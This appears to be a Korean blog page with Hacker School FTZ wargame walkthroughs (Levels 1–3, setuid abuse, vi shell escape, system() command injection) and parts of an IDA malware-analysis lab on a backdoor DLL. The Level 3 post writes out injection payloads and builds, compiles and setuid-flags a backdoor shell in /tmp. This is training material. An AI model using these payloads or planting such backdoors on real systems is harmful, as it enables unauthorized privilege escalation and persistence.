2016. 7. 21. 22:04 :: 문제풀이/Hacker School

 ||| Chapter 03 :: system() 함수의 위험성 |||

 

 

안녕하세요. Message입니다. Lv3 달립니다!

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 접속

Level3에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level3 / can you fly?

autodig라는 파일의 소스라는 말과 함께 해당 소스를 이용하여 level4의 권한을 얻으라고 합니다.

그리고 2개의 힌트를 더주었군요

+힌트1) 동시에 여러 명령어를 사용하려면?

+힌트2) 문자열 형태로 명령어를 전달하려면?

 

2) dig / nslookup

dig는 nslookup과 같은 명령어지만, 유닉스 계열에 탑재된 명령어 입니다.

사용방법은  dig @DNS서버IP 도메인  입니다.

이렇게보면 잘 알 수 없으니 KT DNS서버를 이용하여 질의해봅니다.

결과값은 아래와 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 공격대상 찾기

주어진 autodig 소스코드를 분석해보면 아래와 같은 행위를 합니다.

1) 사용자 입력을 받고, 인자가 2개가 아니면 오류를 출력한다.

2) "dig @"를 cmd로 복사하고, 나머지 인자들을 strcat() 함수를 이용하여 이어붙힌다.

3) 마지막에 " version.bind chaos txt" 문자열을 이어붙힌다.

4) system() 명령어를 이용하여 dig 동작을 수행한다.

 

이제 동작의 흐름을 알았으니 본격적으로 공격을 어떻게 할 것인지 궁리합니다.

일단 지금까지 배운게 있으니, find 명령어를 이용하여 Level4의 권한을 가진 파일을 찾아봅니다.

아래와 같은 결과값이 나왔습니다.

 

2) 공격대상 파일 기능 분석

해당 소스파일이 dig명령어와 동일한 기능을 수행하는지 살펴봅니다.

아래와 같이 결과값이 동일한 것을 알 수 있습니다.

  

 

3) 공격

원본 소스코드가 힌트로 제공되었으므로 별도의 리버싱 과정을 거치지 않고

system() 함수를 이용한 공격을 시도해보았습니다.

유닉스 계열은 세미콜론(;)을 이용하면 여러개의 명령어를 수행할 수 있습니다.

예를들어 세미콜론을 이용하여 id값을 두번 출력하고 싶다면 아래와 같이 하면 됩니다.

 

이와같은 원리를 이용하여 소스코드 내부에서 실행되는 system() 함수에

여러개의 명령어를 입력해보고자 시도해보았습니다.

아래와같이 ip값을 인자로 넘겨준뒤 세미콜론을 이용하여 id명령어를 입력하였고,

SQL Injection의 원리처럼 뒤에 값은 샾(#)을 이용하여 주석처리 해보았습니다.

 

하지만 이상하게 Level이 3으로 나오더군요

곰곰히 생각해보니 세미콜론을 붙이면 해당 소스코드의 system() 함수에 전달되는것이 아니라,

"/bin/autodig 16.126.63.1" 까지만 system() 함수로 실행되고

"id" 명령어는 해당 프로그램이 종료된 이후에 cmd상에서 실행된다는 결론을 내렸습니다.

이와같은 문제점을 해결하려면 system() 함수에 id명령어까지 들어가야 한다는 소리인데,

이를 해결하려면 인자값들을 쌍따옴표("")로 묶어주어 SETUID가 걸린 system() 함수에서 실행되게 만들어야 합니다.

즉, 아래와같이 실행될겁니다.

- system(dig @168.126.63.1; id; #version.bind chaos txt)

     (중략)

 

id값이 Level4로 나왔습니다.

좀더 깔끔한 해킹을 위해서 sh 명령어를 넣어주면 Level4의 쉘을 얻을 수 있고

아래와 같이 my-pass 명령어를 이용하여 다음레벨 패스워드를 얻을 수 있습니다.

 

 

---------------------------------------------------------

03. 보너스

---------------------------------------------------------

위의 방법에는 매번 autodig를 이용하여 level4의 권한을 얻어야 한다는 번거로움이 있습니다.

따라서 Level1과 같이 백도어를 만들어 놓으면 편리합니다.

라인수를 줄이기 위해 DNS 서버 IP는 127.0.0.1로 지정하고

아래와 같은 내용을 넣습니다.

------------------------------------------------

int main(){

char *cmd[2];

cmd[0] = \"/bin/sh\";

cmd[1] = (void *)0;

setreuid(3004,3004);

execve(cmd[0], cmd, cmd[1]);

}

------------------------------------------------

 

위 내용을 한줄로 표현하면 아래와 같습니다.

처음엔 한줄에 다 적어보려다가 Segmentation fault가 나서 세줄로 바꿨습니다.

(복사해서 커맨드에 마우스 우클릭하면 붙여넣기가 됩니다.)

 

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";' > /tmp/superBackdoor.c; #( > : 파일출력 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'cmd[1]=(void *)0;setreuid(3004,3004);' >> /tmp/superBackdoor.c; #" ( >> : 이어쓰기 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'execve(cmd[0],cmd, cmd[1]); };' >> /tmp/superBackdoor.c; #( >> : 이어쓰기 )

 

만들어진 파일은 아래와 같이 컴파일 합니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; gcc -o /tmp/superBackdoor /tmp/superBackdoor.c; #"

ls

------------------------------------------------------------------------------------------------

Tip. 파일삭제

적다가 실수가 나서, 파일을 지우려고 했더니 그것도 권한이 필요하다고 하더군요..ㅜ

[level3@ftz level3]$ /bin/autodig "127.0.0.1; rm /tmp/superBackdoor.c; #"

------------------------------------------------------------------------------------------------

 

파일을 실행하고 id 명령어를 입력하면 아직 Level3인것을 볼 수 있습니다.

아직 SUID를 설정하지 않았기 때문이라고 합니다.

 

 

SUID를 설정해주고 다시 실행하면 Level4의 쉘을 얻을 수 있습니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; chmod 6755 /tmp/superBackdoor; #

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

system() 함수의 기능을 이용한 문제였습니다.

유닉스계열 OS에 대해 잘 알아야 취약점도 발견할 수 있음을 다시 깨닫게 됩니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 7. 21. 18:56 :: 문제풀이/Hacker School

 

 ||| Chapter 02 :: 해킹의 시작 |||

 

 

안녕하세요. Message입니다.

Lv1 끝내고 또 손을 놔버렸네요...달려야겠습니다.

이번 챕터는 제목이 인상적이네요..ㅎㅎ

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level2에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level2 / hacker or cracker

 

텍스트 파일 편집이라고 하니 VI편집기를 말하는것 같습니다.

VI편집기로 쉘의 명령을 실행시킬 수 있을까요?

 

 

Tip. VI편집기의 "명령어 실행" 기능

VI텍스트편집기에서 저장하고 나오기 위해 무심코  :wq!  명령어를 사용해왔습니다.

하지만 여기서 아래와 같이  :!명령어  를 입력하면 어떻게 될까요? 

 

바로 아래와 같이 잠시 VI텍스트편집기를 빠져나와서 해당 결과를 보여줍니다.

 

이후에 엔터를 치면 다시 VI편집기로 돌아오게됩니다.

 

또한 여기서 r를 덧붙여서  :r!명령어  를 입력하면 아래와 같이 결과값을 VI편집기에 추가할 수 있습니다. 

 

유닉스시스템은 CLI기반이기 때문에 문서를 편집하다가 시스템으로 되돌아가

다른 작업을 해야 할 경우 문서를 닫고 나갔다가 다시 되돌아와야 한다는 번거로움이 있습니다.

그래서 이와 같은 "명령어 실행" 기능이 존재하는 것입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에서 사용했던 find 명령어를 이용하여 Level3의 setuid를 가진 파일을 찾아봅니다.

--------------------------------------------------------------------------

옵션1)  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2)  -user level3    -->  level3의 권한

옵션3)   2> /dev/null  -->  에러제거 옵션

--------------------------------------------------------------------------

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

Permission을 확인해보면 SUID가 설정되어 있음을 확인할 수 있습니다  :  -rwsr-x---

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

일반적인 VI 편집기로 보입니다.

VI편집기에서 사용되는 명령어 몇가지를 입력해 보니 정상동작합니다.

 

하지만 실행파일의 이름이 vi가 아닌 editor이므로 실제 vi가 맞는지 확인해보겠습니다.

특정명렁어의 위치를 찾아주는 명령어는  which  입니다.

 

해당 경로를 통해서 editor와 vim파일의 크기를 비교해보면 서로 다른 파일임을 알 수 있습니다.

vi와 vim까지 확인합니다.

 

vim이나 vi 파일에 링크를 걸어서 사용한 것도 아니며, 오히려 크기가 더 작습니다.

하지만 editor를 동작시키면 VI편집기임이 분명합니다.

그렇다면 해당 editor에서 id 명령어를 쳐보고 어떤 결과를 리턴하는지 살펴보면

아래와같이 Level3의 id가 찍히는 것을 알 수 있습니다.

 

공격방법을 알았으니  :!my-pass  명령어를 editor에서 실행시켜 다음 레벨의 비밀번호를 알아냅니다.

 

완전히 쉘을 따서 지속적인 Level3의 권한을 얻고싶다면  !sh  명령어를 이용하면 됩니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

---------------------------------------------------------------------------------------------------------------------

① 스택을 구성한다

setudi(3003,3003)을 이용해 실행되는 파일의 User ID 권한을 Level3 계정으로 설정

system() 함수를 이용해 VI 편집기를 실행한다. 즉 Level3의 권한으로 VI편집기를 실행

---------------------------------------------------------------------------------------------------------------------

 

 

3) 주요 함수 분석

 

① setuid

함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

0xbbb(3003)을 넣어줍니다. 즉, setuid(3003, 3003)을 의미하는 것이며

이것은 실행되는 파일의 User ID 권한을 Level3 계정으로 설정하는 것을 의미합니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

system

system() 함수에 들어가는 인자값을 찍어보니 "/bin/vi" 입니다.

setuid를 설정하고 나서 system함수로 vi를 실행하는 것이 해당 파일의 핵심이었습니다.

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

 

VI 편집기에서 명령어 실행이 가능한 부분을 이용한 문제였습니다.

하나씩 알아가는 재미가 있네요 ㅎㅎ

감사합니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 4. 25. 19:58 :: 문제풀이/Hacker School

 

 ||| Chapter 01 :: 백도어란 무엇인가? |||

 

안녕하세요. Message입니다.

시스템해킹에 대해서 배우고자 해커스쿨의 FTZ를 이용한 문제풀이를 포스팅하려 합니다.

Unix 계열 운영체제는 잠시 손을 놓으면 어색해지지만... 이번 기회를 통해 다시 친숙해지려 합니다.

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

 

------------------------------------------------------------------------------------------------------------------------------------------

00. 준비

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가 하려고 하면 항상 환경 세팅에서 진이 빠지는 경우가 많은듯 합니다.

저같은 경우 한글깨짐 현상과 telnet 접속 시 자꾸 오류가 발생하더군요.

 

1) 한글깨짐

만약 한글이 깨진다면 아래와 같이 putty의 translation 속성을 Use font encoding을 바꿔줍니다.

 

2) Telnet 접속 안될 때

FTZ서버에 ping은 가지만 Telnet 접속이 안되더군요

방화벽과 백신도 꺼보고, 기능추가에서 telnet 활성화도 해보고.. 로컬 환경도 구축해봤지만 안됐습니다.

그래서 Telnet 접속을 포기하고 22번 포트로 SSH 접속했습니다. 실습하는데 지장은 없으니

안되시는 분들은 이렇게라도...

 

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에 접속하여 주어진 문제환경을 파악합니다.

1개의 파일과 2개의 폴더가 존재합니다.

 

레벨마다 주어지는 hint 파일의 내용을 확인합니다.

hint 파일의 내용은 아래와 같고, Level2 권한에 setuid가 걸린 파일을 찾는 내용입니다.

Tip. SETUID

setuid가 설정되면 소유자가 아니더라도 실행 시 일시적으로 소유자의 권한으로 실행됩니다.

파일을 실행할 때 사용자의 UID를 사용하는 것이 아니라 파일의 inode 정보로부터 파일 소유자의 UID를 받아서 실행합니다. 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가를 찾는 명령어는 find 입니다.

하지만 우리가 찾는 파일은 setuid가 걸린 파일이므로 -perm 옵션과 -user 옵션을 사용합니다.

옵션1  :  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2  :  -user level2    -->  level2 or level1의 권한

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

 

 

하지만 오류가 많이 떠서 한번에 식별하기가 어렵습니다.

검색 결과 중에서 에러가 발생한 결과를 제외하는 옵션 2> /dev/null을 사용해줍니다.

여기서 숫자 2는 표준에러(STDERR)를 뜻하고, /dev/null은 휴지통을 뜻합니다. (에러를 휴지통에 슝~)

해당 옵션을 사용한 결과는 아래와 같습니다.

 

파일의 허가권(Permission)과 소유권(Ownership)을 살펴보면 주목해야할 점이 있습니다.

1) 허가권 : SUID가 설정되어 있으므로 해당 파일을 실행하면 파일의 소유자 권한으로 실행됩니다 --> -rwsr-x---

2) 소유권 : 그룹 Level1이 해당 파일을 소유하므로 Level1인 우리도 저 파일을 실행시킬 수 있습니다. -rwsr-x--- 1 level2 level1

정리하면, 우리는 저파일을 실행시킬 수 있으며 실행시킬경우 Level2의 권한으로 실행할 수 있다는 점입니다.

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

 

my-pass와 chmod는 제외하라고 되어 있으므로, bash 명령어로 Level2의 권한을 획득합니다.

그럼 1회성 권한이 아닌, 지속적인 Level2 권한으로 원하는 행위를 할 수 있습니다.

FTZ에서 제공하는 my-pass명령어를 이용하여 Level2의 암호를 알아냅니다.

답 : hacker or cracker

 

 

Tip. PERM의 플러스(+), 마이너스(-) 차이

find 명령어의 perm 옵션에 달린 플러스(+)와 마이너스(-)의 차이는

입력하는 숫자에 해당하는 퍼미션을 완벽하게 만족하느냐? 아니면 일부만 만족해도 되느냐? 입니다.

이해하기 어려우니 해커스쿨에 있는 글에 따라 저도 테스트해보았습니다.

먼저 아래와 같이 touch 명령어를 이용하여 7개의 파일을 만듭니다.

그리고 ls -al 명령어로 퍼미션을 확인합니다.

 

이후 마이너스(-) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 해당하는 wx(쓰기, 실행) 권한이 모두 설정되어 있는 파일만 검색이 되었습니다.

한마디로 깐깐한 검색이 되겠죠.

 

이후 플러스(+) 옵션으로 find 명령어를 수행하면

아래와 같이 300옵션에 걸려있는 w(쓰기), x(실행) 권한중 한개라도 설정되어 있으면 검색이 됩니다.

한마디로 너그러운(?) 검색이 되겠네요.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

원래 bash쉘을 획득하여 my-pass를 알아내면 다음 단계로 넘어가지만,

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

system 함수로 명령어를 실행

chdir 함수로 디렉터리를 이동

printf 함수로 문자열을 출력

fgets 함수를 이용한 사용자 입력

strstr 함수를 이용하여 금지문자열과 입력 받은 사용자 문자열 비교 : my-pass, chmod

금지명령어가 아닌경우 실행 루틴으로 이동

setreuid(3002, 3002) 함수를 이용해 실행되는 파일의 User ID 권한을 Level2 계정으로 설정

system 함수를 이용해서 입력받은 문자열을 리눅스의 명령어로 실행

 

 

3) 주요 함수 분석

① printf

disas main 명령어를 이용하여 아래로 내려가다 보면 printf 함수가 많이 나옵니다.

내용은 아까 우리가 보았던 "레벨 2의권한으로 당신이 원하는...." 을 화면에 찍는 용도입니다.

마지막 printf 함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

아래와 같이 level2의 쉘처럼 "[level2@ftz level2]$" 를 프린트 하는것을 볼 수 있습니다.

한마디로 실제 쉘이 아니라, 프로그램이 의도적으로 printf 한 내용이라는 것을 알 수 있습니다.

 

setreuid + system

프로그램의 마지막 부분을 보면 setreuid와 system 함수를 볼 수 있습니다.

setreuid 함수에 들어가는 인자값은 UID와 GID값이고, 둘다 0xbba(3002) 입니다.

 

3002는 Level2의 UID값입니다. 참고로 Level1은 3001입니다.

해당사항은 id명령어나 /etc/password 를 확인하면 알 수 있습니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

 

4) 결과정리

정리하면, setreuid 함수를 이용하여 Level2의 권한을 획득한 뒤, 

뒤에 따라나오는 system 함수를 실행하는 것이 프로그램의 주요 기능입니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
posted by Red_Message

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

------------------------------------------------------------------------------------------------------------------------------------------

10. 0x1000FF58에서 서브루틴으로 수백 라인은 문자열을 비교하기 위한 일련의 memcmp 비교다.

      robotwork와 문자열 비교가 성공적으로 이뤄지면 무슨 일이 일어나는가? (memcmp가 0을 반환)

------------------------------------------------------------------------------------------------------------------------------------------

일단 문제에서 주어진 문자열 "robotwork"를 찾습니다.

Strings window에서 검색기능을 이용하여 robotwork를 찾습니다.

 

해당 문자열은 xdoor_s 섹션에 있고,

상호참조 리스트를 이용하여 어디서 사용되고 있는지 확인합니다. (정말 좋은 기능이네요..)

 

다른 memcmp 함수와 동일하게 사이즈, 사용자입력값, 비교문자열 3가지 인자를

push하고 memcmp를 호출합니다.

memcmp는 두 비교문자열이 같으면 0을 결과값으로 반환합니다.

test eax eax 명령어를 수행해여 

1) 결과값 0 반환 -->  (문자열이 같음)  -->  ZF=1 세팅  -->  loc_10010468 Jump

2) 결과값 0 아님 -->  (문자열이 다름)  -->  ZF=0 세팅  -->  loc_100052A2 Jump  (다음 문자열 비교)

 

문자열이 "robotwork"와 동일하면 loc_10010468으로 점프하게 되므로 

계속 트레이싱 하며 따라가면 아래와 같은 어셈블리 코드가 나옵니다.

코드가 갑자기 길어져서 한번에 파악하기는 힘들지만,

아래부분에 분홍색 RegOpenKeyExA API와 push되는 레지스트리 관련 문자열이 가장 눈에 확 들어옵니다.

 

RegOpenKeyExA API는 성공하면 ERROR_SUCCESS(0) 을 반환하고, 핸들키값을 넘겨줍니다.

1) API 호출에 성공  -->  test eax eax 명령어를 통해 0이 반환되며, loc_10005309로 Jump (오른쪽)

2) API 호출에 실패  -->  RegCloseKey API와 함께 종료 (왼쪽)

2번 케이스의 경우, Graph overview에서 독보적인 빨간색 화살표와 함께 서브루틴이 끝나는 것을 볼 수 있습니다.

 

1번 케이스의 경우, 아래와 같은 loc_10005309 서브루틴을 실행합니다.

역시 루키라 한번에 파악은 절대 안됩니다 OTZ...

분홍색의 RegQueryValueExA, sprintf, atoi 등의 API들이 가장 잘 보이고,

파란색의 API 인자값들이 눈에 띕니다. 

가장먼저 실행되는 RegQueryValueExA는 먼저 나온 RegOpenKeyExA, RegCloseKey와 세트로 등장하는 API입니다.

Syntax는 아래와 같으며, 해당 함수를 실행하기 위해 lpValueName "WorkTime"을 포함한 6개의 인자를 push하고

ebx에 저장해두었던 RegQueryValuesExA 함수를 call 하는 부분을 위의 어셈블리 코드에서 볼 수 있습니다. 

 

만약 여기서 함수 호출에 실패하면 loc_10005379로 Jump하게 되는데,

lpValueName값을 "WorkTimes" 로 변경해서 호출합니다.

어쨋든, WorkTime 또는 WorkTimes의 값을 얻게 되면

atoi값을 이용하여 int형태로 변경한 뒤 sprintf 함수를 이용하여 지정된 형식대로 문자열을 만듭니다  --> [Robot_WorkTime : %d]

이후 sub_100038EE로 분기하여 sned 함수로 값을 전송합니다.

답 : HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion에 있는 WorkTime or WorkTimes 레지스트리 값을 전송

 

Tip. 인자(argument) vs 매개변수(parameter)

알고도 매일 까먹고 구분없이 포스팅하고 있었습니다..

인자값은 함수 호출 시 넣어주는 값을 말합니다  -->  Func("argument");

매개변수는 전달된 인자를 받아들이는 값입니다 --> void Func(char* parameter)

 

------------------------------------------------------------------------------------------------------------------------------------------

11. PSLIST 익스포트는 무슨 역할은 하는가?

------------------------------------------------------------------------------------------------------------------------------------------

PSLIST는 export window에서 찾을 수 있습니다.

 

해당 익스포트로 가보면 아래와같은 어셈블리 코드가 나옵니다.

 

초반에 또다른 서브루틴 sub_100036C3을 호출합니다.

호출 결과에 따라 test eax, eax로 인해 loc_1000705B로 Jump합니다.

즉, 값이 0이라면 앞뒤 볼것도 없이 종료라는 뜻인데, 왜그런지는 살펴봐야 합니다.

 

Tip. 서브루틴 미리보기

이러한 sub문이 나올때마다 넘어가서 이해하고 다시 돌아왔었는데

함수에 마우스를 대고 드래그로 아래를 내리니 sub문이 미리보기 형식으로 나오는 편리한 기능이 있더군요 (+삽질지수 감소)

 

내용을 보니 GetVersionExA API를 이용하여 얻어낸 구조체 VersionInformation으로 두가지 비교를 수행합니다.

1) dwPlatformId 비교

내용은 문제 9번에서 비교한 내용과 같으며, 윈도우즈 계열 플랫폼인지 확인합니다.

2) dwMajorVersion 비교

dwMajorVersion과 5를 CMP 명령어로 비교합니다.

여기서 dwMajorVersion의 의미를 알고자 MSDN에서 제공하는 표를 가져왔습니다.

운영체제 버전마다 값이 정해져 있고, 가장 낮은 버전이 5입니다. (Windowx Server 2003을 포함한 4개의 운영체제)

CMP명령어에 의해 왼쪽값(dwMajorVersion)이 5보다 낮으면 (표에 있는 운영체제보다 더 낮은 버전의 OS일 경우)

loc10036FA로 Jump하게 될것이고 더 이상의 연산을 수행하지 않고 leave명령어를 수행합니다.

Jump 하지 않는다면, 1을 리턴하고 종료합니다.

 

-----------------------------------------------------------------------------------------------------------------------------

Tip. SUB vs LOC

분석중에 갑자기 의문점을 느껴 검색해보았습니다. SUB와 LOC로 시작하는 함수들의 차이가 무엇인가...

1) 공통점 : 프로그램의 흐름이 바뀐다는 것

2) 차이점 : SUB 호출은 retn값이 있지만 LOC의 경우 retn이 없으므로 ByeBye

참고로 short은 짧은 곳으로의 Jump 라고 합니다.

이런거 하나하나 알아가게 되면서 리버싱 속도가 1~2초라도 빨라지는거 같아 재미있네요 ㅎㅎ;

-----------------------------------------------------------------------------------------------------------------------------

 

 ------------------------------------------------------------------------------------------------------------------------------------------

12. 그래프 모드를 이용해 sub_10004E79 상호 참조 그래프를 그려보자.

      이 함수에 진입하기 위해 호출하는 API함수는 무엇인가?

      해당 API 함수에만 기반을 두고 이 함수를 어떤 이름으로 변경하겠는가?

------------------------------------------------------------------------------------------------------------------------------------------

G 기능을 이용하여 sub_10004E79 주소로 넘어갑니다.

문제에 나온대로 상호 참조 그래프를 그리기 위해 [View > Grapgs > Xrefs From] 을 클릭합니다.

그러면 아래와 같은 그래프가 나옵니다.

 

위 상호참조 그래프 기능으로 인해 sub_10004E79 함수가

GetSystemDefaultLangIDSend를 호출함을 쉽게 알 수 있습니다.

해당 함수가 네트워크 소켓을 통해 언어 식별자를 전송할 가능성이 있음을 알려주므로,

함수명을 오른쪽 클릭해 send_languageID와 같은 의미 있는 이름을 붙여줍니다.

(책에 나와서 하는거지만...이런게 고수들의 좋은 습관이자 노하우 아닐까요?)

 

또한 해당 함수를 호출하는 과정을 알아보기 위해

sub_10004E79를 클릭하고 Ctrl+X 를 눌러 호출하는 곳으로 가보았습니다.

"language" 명령어를 이용하여 호출함을 확인합니다.

 

다음 포스팅에서 계속됩니다!

posted by Red_Message

#1 : http://redscreen.tistory.com/66

#2 : http://redscreen.tistory.com/67

#3 : http://redscreen.tistory.com/68

#4 : http://redscreen.tistory.com/71

 

------------------------------------------------------------------------------------------------------------------------------------------

7. Strings 윈도우를 이용해 디스어셈블리 내의 문자열 \cmd.exe /c를찾아보자. 어디에 있는가?

------------------------------------------------------------------------------------------------------------------------------------------

View > Open Subviews > Strings 를 선택하여 해당 문자열을 찾습니다. (Shitft + F12)

맨 아래부분에서 발견 가능하고, 더블클릭하면 섹션과 주소값을 알아낼 수 있습니다.

답 : xddors_d 섹션 / 0x10095B34

 

 

------------------------------------------------------------------------------------------------------------------------------------------

8. \cmd.exe /c를 참조하는 코드 영역에서 무슨 일이 발생하는가?

------------------------------------------------------------------------------------------------------------------------------------------

해당 메소드가 어떤 기능을 하는지 알아내기 위해 해당 문자열을 더블클릭합니다.

이후에 문자열의 주소를 클릭하고 상호참조 리스트를 호출합니다. (Ctrl+X)

결과는 아래와 같이 단 한곳에서 호출함을 알 수 있습니다.

gethostbyname처럼 여러군데에서 호출되지 않으니

한군데만 확인하면 어떤 기능을 하는지 확인할 수 있다는 단서를 제공합니다.

 

또한 해당 코드영역을 더 살펴보면

"Hi, Master..."

"Welcome Back...."

"Encrypt Magic Number For This Remote Shell Session..."

등등의 백도어에서 원격 접속 시 사용될 것 같은 문자열이 있습니다. 

 

CMD창을 이용하여 명령어를 입력할 가능성이 있음을 기억해둡니다.

그리고 아까 상호참조를 타고 그래프 뷰로 넘어가서 화살표를 따라 쭉쭉 내려가면

"quit", "exit", "cd" 와 같은 문자열과 함께 memcmp 함수를 발견할 수 있습니다. 

 

책에서 memcmp를 볼 수 있을거라고 매우 쉽게 설명되 있지만, 

저는 아직 숙련되지 않기도 했고, 그래프가 크게 느껴져서  삽질을 좀 많이

빨간색(FALSE), 초록색(TRUE), 파란색(무조건) 화살표의 의미를 생각하며 그래프를 타고 내려가면

그래프 오버뷰의 중간 부분에서 memcmp가 반복 됩니다.

CMD에서 명령어를 입력할때마다 memcmp함수로 어떤 명령인지 비교하는 코드겠구나..라는 생각이 들었습니다.

답 : 원격 세션 생성

 

 

------------------------------------------------------------------------------------------------------------------------------------------

9. 같은영역 0x100101C8에서 dword_1008E5C4는 경로를 지정하는 전역 변수로 보인다.

    악성코드는 어떻게 dword_1008E5C4를 설정하는가? (힌트 : 상호참조 이용)

------------------------------------------------------------------------------------------------------------------------------------------

주어진 x100101C8 주소로 넘어가면 dword_1008E5C4값이 나옵니다.

 

해당 전역변수를 더블클릭하면 .data 섹션으로 넘어가게 되는데,

그곳에서 상호참조 리스트를 확인하면 아래와 같이 3가지가 나옵니다.

 

전 포스팅에서 살펴보았듯이 R Type은 읽기만 할뿐이고,

수정하는 부분은 맨위의 W Type 하나뿐이므로, 해당 부분을 살펴보면 어떻게 무슨값을 설정하는지 알 수 있겠군요.

OK를 누르고 해당 주소지로 이동하면, 아래와 같이 sub_10003695의 리턴값인 EAX를 이용하여

전역변수에 값을 할당하는 것을 볼 수 있습니다.

 

그렇다면 sub_10003695는 무엇을 하는 서브루틴일까요?

더블클릭하여 이동하면 아래와 같이 GetVersionExA 함수를 사용하는 소스임을 알 수있습니다.

아래 소스코드가 한눈에 파악이 안되어, Syntax부터 살펴보기로 했습니다.

 

GetVersionExA API의 SynTax는 아래와 같고, lpVersionInfo 파라미터를 넣어줘야 합니다.

push eax 를 이용하여 파라미터를 넣어주었고, GetVersionExA API로 버전값을 알아낸 것으로 보입니다.

 

이후에 VersionInformation 내부의 dwPlatformId 값이 2인지 CMP 명령어를 이용하여 비교를 하게 되는데,

참고로 dwPlatformId는 아래와 같이 윈도우 버전에 관련된 변수입니다.

 

두값이 같을 경우, CMP명령어의 결과는 0이되고 제로플래그(ZF)가 1로 세팅됩니다.

ZF가 1이라면 SETZ 명령어에 의해 AL(EAX의 하위 8비트)가 1로 세팅됩니다.

 

정리하면, Windows 계열인 경우 서브루틴 sub_10003695가 1을 리턴할 것이고,

리턴되는 값이 dword_1008E5C4 값에 저장될 것입니다.

답 : 운영체제 버전 저장

 

--------------------------------------------------------------------------------------------------------------------------------------------------

Tip. CMP 그리고 JUMP (JA vs JB vs JE vs JZ)

1) CMP

CMP는 묵시적으로 Op1(Destincationm, 피연산자)에서 Op2(Source, 소스피연산자)와의 뺄셈을 수행 ex) CMP Op1, Op2

그리고 어떤 피연산자도 수정되지 않지만, 뺄셈을 수행하다보니 플래그를 수정합니다.

- Op1 - Op2 < 0, ZF=0 CF=1

- Op1 - Op2 > 0, ZF=0 CF=0

- Op1 - Op2 = 0, ZF=1 CF=0

